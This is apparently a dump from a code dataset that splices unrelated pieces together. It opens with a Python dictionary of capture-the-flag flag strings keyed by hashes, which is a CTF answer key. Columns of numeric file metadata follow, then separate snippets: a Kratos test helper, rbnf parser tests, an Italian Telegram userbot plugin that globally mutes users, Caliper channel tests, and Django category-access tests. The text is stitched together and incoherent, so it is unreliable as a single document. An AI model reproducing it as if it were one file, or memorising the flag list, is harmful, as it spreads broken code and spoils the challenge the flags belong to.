'5d3f194d8cb556ffae84e349920ab59e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qyVxBnyVat}',
'034bb641e9a3cfa293ee92ac7a2db368': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JyRvwWNxuA}',
'8fc13cd85cf11f47779788186391b4ae': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_irXUAkCZwH}',
'a7550a9821c64cc481c7a7293a86ea83': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4aozGvE9uG}',
'316a967ca059708b5ff6bd0fddce084c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bwaxc7EPqc}',
'1769d41b9d68e4e98b7382fd62e842f7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2AjNx4bd8V}',
'c71f680411acc79c64f580abe21a1f40': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7udrNMeM1n}',
'2d370b43335ac0069a1d26c0ce486921': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rX1jWMIC5F}',
'41e3124ee0e9da7193546fc4b60087a8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JZURzXUtPx}',
'a7c74add1770e7b617e2dc178c235246': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OLKh7MDRsM}',
'ccebeb8866b86f6be3052dc8c6e2e7a3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Ez2U5ac22d}',
'2f2dc719c6ebc695f05c8eec35208d9a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uRf3H9OkRY}',
'cc194320aa514672e6dfe6d7870f0476': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_iluaKVQXts}',
'3e21f619a26557e4ebf2cec6c3b082d3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2WHS6w2rmJ}',
'd9282e81e1cf65455e9c190b6ae40614': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OdRiReaxZm}',
'262eccc61b0dd4608847fe34cdaef58e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wCS4hEgk8n}',
'ad5938e135d5bf08f51713c4978ad0c1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GcplvMlzau}',
'd1ddc433eca703e3ae81d4541e483628': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_LtbEfTxYmS}',
'e34db82b48b64fedc6e3d10bf68e62e6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_zqaT5nWOmO}',
'aeb0445f14f7b1807405995721199760': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4tacd4MQKJ}',
'f9b3b5bcce09c148777b11e51716b94a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_RkkA1hnFHm}',
'4058bbd9804a81d82e562155984f96df': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UeC4oUYJVX}',
'7fc0be15431c1e8df8575a2ba35cdd22': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_a5iFnEBOx8}',
'95cf81ee3505b7606b0d0d4a2273357d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IIK7QKhx58}',
'7030e52d2a28ca908ae4da21cbf43f61': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IFj8QOIouG}',
'ef540fc97122b74cfda624f4a9c1d626': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hIYhHbroZS}',
'a8f28a68326aadf42a9f7f1851f6a0ff': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZucRxtVngh}',
'b36121f678ceb01dc4c23d8692f22b74': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_THwyOcS5lu}',
'8196142c3ad579eaf79c3a6182205c49': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8BgNaOXEbq}',
'b3e500f3ec7a3569e6f4e0c4bc5b2b01': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_x2HyW2uGS0}',
'e3957ffc85e7c58468b23cf7c778289f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_09lDfduD4u}',
'611c564891acda8e8c3d1f1a79b0c51b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_yh46nvynL9}',
'9b12e20db15cac490123ab958c0eeaa7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3pQFGGOica}',
'0181c000ae667ee7d87a317f812e6d9c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rJyhjitdmw}',
'648555a6ed91effa4f96377281aaa7e7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5fV0gltE5k}',
'c7b80d45b9cb0e8a3464b5481736570c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3XpCEGglwD}',
'82aea4e413618ac36301a4ef112dfc04': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_9znRTrUTb5}',
'85d9994f2eabf6e953554b71c2168d1b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wdGD3B1FdI}',
'837d56f2fd273828bc24d802a8c8ffca': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cqHvBhr7Tu}',
'8a8158cae272b9ae1c0b7847acc15c5b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XrpL3ry6Bi}',
'604d751cd86389153de3efefd1dee7ce': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XVxIrP2bQ4}',
'eb837ae99a36f88a00a8666cbc7258bc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_vnKfFzbSG3}',
'8d7024d448b6adbfa24c22f81225a016': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2IwZuuihwG}',
'dfd229fa9f391b12bc51a797b52db932': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_q0BVYTM3L5}',
'bba825d48db8e4347148c24b768f074e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GWzkfP2M1U}',
'0e3cbcdb55d7159c800bc3fa6787af7f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WYDmFL58WV}',
'04c003a97f6c3e7a32f5f00b6d1efe3d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MpRtmPVfhg}',
'11c4896109ec521e7dc851ebfd67a161': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_dPvCJJLS59}',
'493f7d64033c12561570661b6decc9d2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8449DP1r9Z}',
'8667c8ccebbeabca088c5ce61f68d511': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UXfzNsdRMm}',
'3f5f040379379ad896a51cb3f96b5c31': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PjTPhThsA6}',
'b11b4051db9012d57140367605596323': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BrU2LbzVKC}',
'3907e3b63f09bb3e48d8b9912c5bdd72': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_D5CfDHMpb9}',
'ce1e6ed2dd8879292d181bb021499bff': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_vvAnQxynGz}',
'efe5077f3f99ada3a3c26da025ab43ce': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IZgdrQmpi4}',
'01788c440aefb10b0c3d45ee886eba1a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uIIvnIJrjE}',
'8adae834f5ee91bca5bf928005a4a4ae': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_59AOkarf60}',
'8e679fb6db95f413885248ad19a895be': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4BcfWAvYAV}',
'381e0e3bc0e7eeeec7a135f4ed5efe4d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cHVeBSZy0N}',
'1b0c156f38b18f0517723e61ce41cfc4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XzL4YcGquG}',
'30bd0b597edf8826d87f3bd35ddac1ca': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xOm0Tr2l2o}',
'92f5f5ebf85f8d22099a52558e27fd25': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xrvwC3vS7L}',
'7b55450274d45b82c4c77d2954cb1b9c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uOuhEbeHfQ}',
'9f3ec37a62d8c4508787aaefbc283992': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_1LJn9I84Yi}',
'c16d3e93eadf313e8327118ae068217f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wNNLDfFnrN}',
'c3720ee9c17819ed504ecb3145817bd4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SfGtNTQUaz}',
'368e9d3f6cbe8308424ea0c692de9d03': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_p2GZ43e1u2}',
'013316ae2337d03175c242689e02208b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_sgRYwg1IZy}',
'7466fd7a081619c3a8e06703b444e069': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_h0C3Xn3KnD}',
'4df3b452d22e868eb8bf2d896e826949': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_H45VQXPXYD}',
'ef78ee4c3468ea2bb0a3b1d4c6b2d12c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cr6ULwEetd}',
'b86309d22681f16245a7e070b71ca52d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PrTZlwR4kW}',
'5af66eee3538ed7b36ed68e7e9519f51': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6tn0ki0ykM}',
'166308097d07996958603649228ec201': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_a19I5maEjh}',
'00438d41c3b61eba27c451420cfa0e1c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XX1kJya0yk}',
'a35b6c4770b3317fb78e39a01e3cad08': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_PON1fFpqlg}',
'e639d86653b4b033ad7d44b8d0a8a5f0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_o9PGxxlFmY}',
'c94d9558429779a3cb14bfc7ea143d31': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_tFmA9v4607}',
'9d517336e4ba391a42cd8c45e6045208': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_RWFwRgxhxp}'
}
| 107.377734
| 107
| 0.870286
| 4,501
| 54,011
| 9.776716
| 0.22395
| 0.215885
| 0.249972
| 0.284059
| 0.522668
| 0.522668
| 0.522668
| 0
| 0
| 0
| 0
| 0.309467
| 0.055618
| 54,011
| 502
| 108
| 107.591633
| 0.553257
| 0
| 0
| 0
| 0
| 0
| 0.888708
| 0.888708
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a457e7dafe13e03f18f2a6acd2a9cf17d3f48dc4
| 314
|
py
|
Python
|
applications/CoSimulationApplication/tests/testing_utilities.py
|
lkusch/Kratos
|
e8072d8e24ab6f312765185b19d439f01ab7b27b
|
[
"BSD-4-Clause"
] | 778
|
2017-01-27T16:29:17.000Z
|
2022-03-30T03:01:51.000Z
|
applications/CoSimulationApplication/tests/testing_utilities.py
|
lkusch/Kratos
|
e8072d8e24ab6f312765185b19d439f01ab7b27b
|
[
"BSD-4-Clause"
] | 6,634
|
2017-01-15T22:56:13.000Z
|
2022-03-31T15:03:36.000Z
|
applications/CoSimulationApplication/tests/testing_utilities.py
|
lkusch/Kratos
|
e8072d8e24ab6f312765185b19d439f01ab7b27b
|
[
"BSD-4-Clause"
] | 224
|
2017-02-07T14:12:49.000Z
|
2022-03-06T23:09:34.000Z
|
class DummySolverWrapper(object):
'''dummy object used for testing to emulate the behavior of the SolverWrapper'''
def __init__(self, interface_data_dict):
self.interface_data_dict = interface_data_dict
def GetInterfaceData(self, data_name):
return self.interface_data_dict[data_name]
| 39.25
| 84
| 0.757962
| 40
| 314
| 5.6
| 0.55
| 0.232143
| 0.303571
| 0.28125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.171975
| 314
| 8
| 85
| 39.25
| 0.861538
| 0.235669
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
a465e5fa4923ee4557799b756dca360294837bcb
| 1,404
|
py
|
Python
|
tests/test_lr.py
|
thautwarm/Ruiko
|
cceec88c90f7ec95c160cfda01bfc532610985e0
|
[
"MIT"
] | 44
|
2018-06-08T04:52:02.000Z
|
2021-08-06T04:59:56.000Z
|
tests/test_lr.py
|
thautwarm/Ruiko
|
cceec88c90f7ec95c160cfda01bfc532610985e0
|
[
"MIT"
] | 2
|
2018-06-21T14:42:27.000Z
|
2018-12-10T06:15:46.000Z
|
tests/test_lr.py
|
thautwarm/Ruiko
|
cceec88c90f7ec95c160cfda01bfc532610985e0
|
[
"MIT"
] | 2
|
2018-06-18T10:43:20.000Z
|
2019-05-06T13:51:51.000Z
|
from rbnf.core.Tokenizer import Tokenizer
from rbnf.easy import ze
from rbnf.core.AST import Named
def test_lr(fixed=False):
ze_exp = ze.compile("""A ::= A 'b' | 'a'""")
if fixed:
ze_exp.lang.as_fixed()
result: Named = ze_exp.match("""abbbb""").result
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item
assert isinstance(result, Tokenizer) and result.value == 'a'
def test_lr_indirect(fixed=False):
ze_exp = ze.compile("""A ::= B 'a' | 'c'\nB ::= A 'b'""", use='A')
if fixed:
ze_exp.lang.as_fixed()
result: Named = ze_exp.match("""cbaba""").result
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'B'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item[0]
print(result)
assert result.name == 'B'
result = result.item[0]
print(result)
assert result.name == 'A'
result = result.item
assert isinstance(result, Tokenizer) and result.value == 'c'
def test_fixed():
test_lr(True)
test_lr_indirect(True)
| 21.9375
| 70
| 0.608974
| 197
| 1,404
| 4.263959
| 0.192893
| 0.142857
| 0.214286
| 0.261905
| 0.795238
| 0.795238
| 0.795238
| 0.735714
| 0.735714
| 0.735714
| 0
| 0.007456
| 0.235755
| 1,404
| 63
| 71
| 22.285714
| 0.775396
| 0
| 0
| 0.695652
| 0
| 0
| 0.049858
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 1
| 0.065217
| false
| 0
| 0.065217
| 0
| 0.130435
| 0.173913
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a47dbc3ce2b7e4d776dd0acabf4b3c70979f2866
| 125
|
py
|
Python
|
app/blueprints/organisations/__init__.py
|
Anioko/landingpage_cms
|
b2d68d28287dd163de7d420b2c20b19050a2326a
|
[
"MIT"
] | null | null | null |
app/blueprints/organisations/__init__.py
|
Anioko/landingpage_cms
|
b2d68d28287dd163de7d420b2c20b19050a2326a
|
[
"MIT"
] | 1
|
2021-06-02T01:53:47.000Z
|
2021-06-02T01:53:47.000Z
|
app/blueprints/organisations/__init__.py
|
Anioko/TestApp
|
95fa8d27ca8e7a074e62f92609427a378844e621
|
[
"MIT"
] | null | null | null |
from app.blueprints.organisations import errors # noqa
from app.blueprints.organisations.views import organisations # noqa
| 41.666667
| 68
| 0.832
| 15
| 125
| 6.933333
| 0.533333
| 0.134615
| 0.326923
| 0.576923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112
| 125
| 2
| 69
| 62.5
| 0.936937
| 0.072
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 8
|
f11d785e6edc05d9ce9dbb5278c0f0842a6e6878
| 4,222
|
py
|
Python
|
userbot/plugins/gmute.py
|
4Applepen/Userbot
|
e40194b7ff7ef70708047305b0212881f5d3e8fa
|
[
"Apache-2.0"
] | null | null | null |
userbot/plugins/gmute.py
|
4Applepen/Userbot
|
e40194b7ff7ef70708047305b0212881f5d3e8fa
|
[
"Apache-2.0"
] | null | null | null |
userbot/plugins/gmute.py
|
4Applepen/Userbot
|
e40194b7ff7ef70708047305b0212881f5d3e8fa
|
[
"Apache-2.0"
] | null | null | null |
from userbot.plugins.sql_helper.mute_sql import is_muted, mute, unmute
import asyncio
@command(outgoing=True, pattern=r"^.gmute ?(\d+)?")
async def startgmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Possono verificarsi problemi imprevisti o brutti errori!")
await asyncio.sleep(3)
private = True
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Rispondi a un utente o aggiungilo al comando per disattivarlo.")
chat_id = event.chat_id
chat = await event.get_chat()
if is_muted(userid, "gmute"):
return await event.edit("Questo utente è già gmutato")
try:
mute(userid, "gmute")
except Exception as e:
await event.edit("Errore!\n " + str(e))
else:
await event.edit("Hai gmutato con successo")
@command(outgoing=True, pattern=r"^.ungmute ?(\d+)?")
async def endgmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Possono verificarsi problemi imprevisti o brutti errori!")
await asyncio.sleep(3)
private = True
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Rispondi a un utente o aggiungilo al comando per riattivarlo.")
chat_id = event.chat_id
if not is_muted(userid, "gmute"):
return await event.edit("Questo utente non è gmutato")
try:
unmute(userid, "gmute")
except Exception as e:
await event.edit("Errore!\n " + str(e))
else:
await event.edit("Hai smutato questo utente.")
@command(outgoing=True, pattern=r"^.gmute ?(\d+)?", allow_sudo=True)
async def startgmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Possono verificarsi problemi imprevisti o brutti errori!")
await asyncio.sleep(3)
private = True
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Rispondi a un utente o aggiungilo al comando per disattivarlo.")
chat_id = event.chat_id
chat = await event.get_chat()
if is_muted(userid, "gmute"):
return await event.edit("Questo utente è già gmutato")
try:
mute(userid, "gmute")
except Exception as e:
await event.edit("Errore!\n " + str(e))
else:
await event.edit("Utente gmutato con successo")
@command(outgoing=True, pattern=r"^.ungmute ?(\d+)?", allow_sudo=True)
async def endgmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Possono verificarsi problemi imprevisti o brutti errori!")
await asyncio.sleep(3)
private = True
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Rispondi a un utente o aggiungilo al comando per riattivarlo.")
chat_id = event.chat_id
if not is_muted(userid, "gmute"):
return await event.edit("Questo utente non è gmutato")
try:
unmute(userid, "gmute")
except Exception as e:
await event.edit("Errore!\n " + str(e))
else:
await event.edit("Persona smutata con successo")
@command(incoming=True)
async def watcher(event):
if is_muted(event.sender_id, "gmute"):
await event.delete()
| 34.606557
| 97
| 0.653955
| 581
| 4,222
| 4.660929
| 0.151463
| 0.099705
| 0.103397
| 0.064993
| 0.925406
| 0.925406
| 0.915805
| 0.891433
| 0.891433
| 0.891433
| 0
| 0.003769
| 0.245855
| 4,222
| 121
| 98
| 34.892562
| 0.846734
| 0
| 0
| 0.87931
| 0
| 0
| 0.197063
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.017241
| 0
| 0.12069
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
74b795c0b06f71fbf2e7914ff622f634be031d2b
| 3,205
|
py
|
Python
|
test/ci_app_tests/test_multichannel.py
|
rblake-llnl/Caliper
|
f958f45f5cf2dccc4529f2b27d8628981a60b012
|
[
"BSD-3-Clause"
] | null | null | null |
test/ci_app_tests/test_multichannel.py
|
rblake-llnl/Caliper
|
f958f45f5cf2dccc4529f2b27d8628981a60b012
|
[
"BSD-3-Clause"
] | null | null | null |
test/ci_app_tests/test_multichannel.py
|
rblake-llnl/Caliper
|
f958f45f5cf2dccc4529f2b27d8628981a60b012
|
[
"BSD-3-Clause"
] | null | null | null |
# Multi-channel tests
import unittest
import calipertest as cat
class CaliperMultiChannelTest(unittest.TestCase):
""" Caliper multi-channel case """
def test_multichannel_trace(self):
target_cmd = [ './ci_test_multichannel' ]
query_cmd = [ '../../src/tools/cali-query/cali-query', '-e' ]
caliper_config = {
'CALI_CONFIG_PROFILE' : 'serial-trace',
'CALI_RECORDER_FILENAME' : 'stdout',
'CALI_LOG_VERBOSITY' : '0'
}
query_output = cat.run_test_with_query(target_cmd, query_cmd, caliper_config)
snapshots = cat.get_snapshots_from_text(query_output)
self.assertTrue(len(snapshots) >= 205)
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '1',
'thread' : 'true' }))
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '1',
'main' : 'true' }))
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '42',
'thread' : 'true' }))
def test_multichannel_aggr(self):
target_cmd = [ './ci_test_multichannel' ]
query_cmd = [ '../../src/tools/cali-query/cali-query', '-e' ]
caliper_config = {
'CALI_SERVICES_ENABLE' : 'aggregate,event,recorder',
'CALI_RECORDER_FILENAME' : 'stdout',
'CALI_LOG_VERBOSITY' : '0'
}
query_output = cat.run_test_with_query(target_cmd, query_cmd, caliper_config)
snapshots = cat.get_snapshots_from_text(query_output)
self.assertTrue(len(snapshots) >= 210)
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '1',
'thread' : 'true' }))
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '1',
'main' : 'true' }))
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, {'chn.id' : '42',
'thread' : 'true' }))
def test_channel_c_api(self):
target_cmd = [ './ci_test_channel_api' ]
query_cmd = [ '../../src/tools/cali-query/cali-query', '-e' ]
caliper_config = {
'CALI_LOG_VERBOSITY' : '0'
}
query_output = cat.run_test_with_query(target_cmd, query_cmd, caliper_config)
snapshots = cat.get_snapshots_from_text(query_output)
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, { 'annotation': 'foo',
'a': '2',
'b': '4' }))
self.assertTrue(cat.has_snapshot_with_attributes(
snapshots, { 'annotation': 'foo',
'b': '4',
'c': '8' }))
self.assertFalse(cat.has_snapshot_with_attributes(
snapshots, { 'annotation': 'foo',
'a': '2',
'b': '4',
'c': '8' }))
if __name__ == "__main__":
unittest.main()
| 36.420455
| 85
| 0.527925
| 313
| 3,205
| 5.070288
| 0.233227
| 0.088217
| 0.079395
| 0.102079
| 0.817265
| 0.805293
| 0.805293
| 0.805293
| 0.805293
| 0.805293
| 0
| 0.011385
| 0.342278
| 3,205
| 87
| 86
| 36.83908
| 0.741461
| 0.014977
| 0
| 0.727273
| 0
| 0
| 0.168571
| 0.07746
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.045455
| false
| 0
| 0.030303
| 0
| 0.090909
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2d024de3e6e00bdd7482ec465cd93ac166c4affd
| 15,017
|
py
|
Python
|
mediafeed/channels/tests/test_views.py
|
rennerocha/youtube-organizer
|
a267b3281f183cc4bcf37b3543324084540bfc25
|
[
"MIT"
] | 11
|
2020-06-17T18:00:04.000Z
|
2020-07-15T13:11:36.000Z
|
mediafeed/channels/tests/test_views.py
|
rennerocha/youtube-organizer
|
a267b3281f183cc4bcf37b3543324084540bfc25
|
[
"MIT"
] | 12
|
2020-06-24T19:16:07.000Z
|
2020-07-21T13:33:14.000Z
|
mediafeed/channels/tests/test_views.py
|
rennerocha/youtube-organizer
|
a267b3281f183cc4bcf37b3543324084540bfc25
|
[
"MIT"
] | null | null | null |
import datetime
from django.contrib.auth.models import User
from django.test import TestCase
from django.urls import reverse
from django.utils import timezone
from model_bakery import baker
from parsel import Selector
from channels.models import Category, Channel, Video
class CategoryDetailAccessTestCase(TestCase):
def setUp(self):
self.user = User.objects.create_user("user", "user@test.com", "userpassword")
self.public_category = baker.make(Category, public=True, user=self.user)
self.private_category = baker.make(Category, public=False, user=self.user)
def test_access_public_category_without_authenticated(self):
url = reverse(
"channels:category_details",
args=(self.user.username, self.public_category.slug,),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
def test_access_private_category_without_authenticated(self):
url = reverse(
"channels:category_details",
args=(self.user.username, self.private_category.slug,),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 404)
def test_access_private_category_authenticated(self):
self.client.login(username=self.user.username, password="userpassword")
url = reverse(
"channels:category_details",
args=(self.user.username, self.private_category.slug,),
)
response = self.client.get(url)
self.assertEqual(response.status_code, 200)
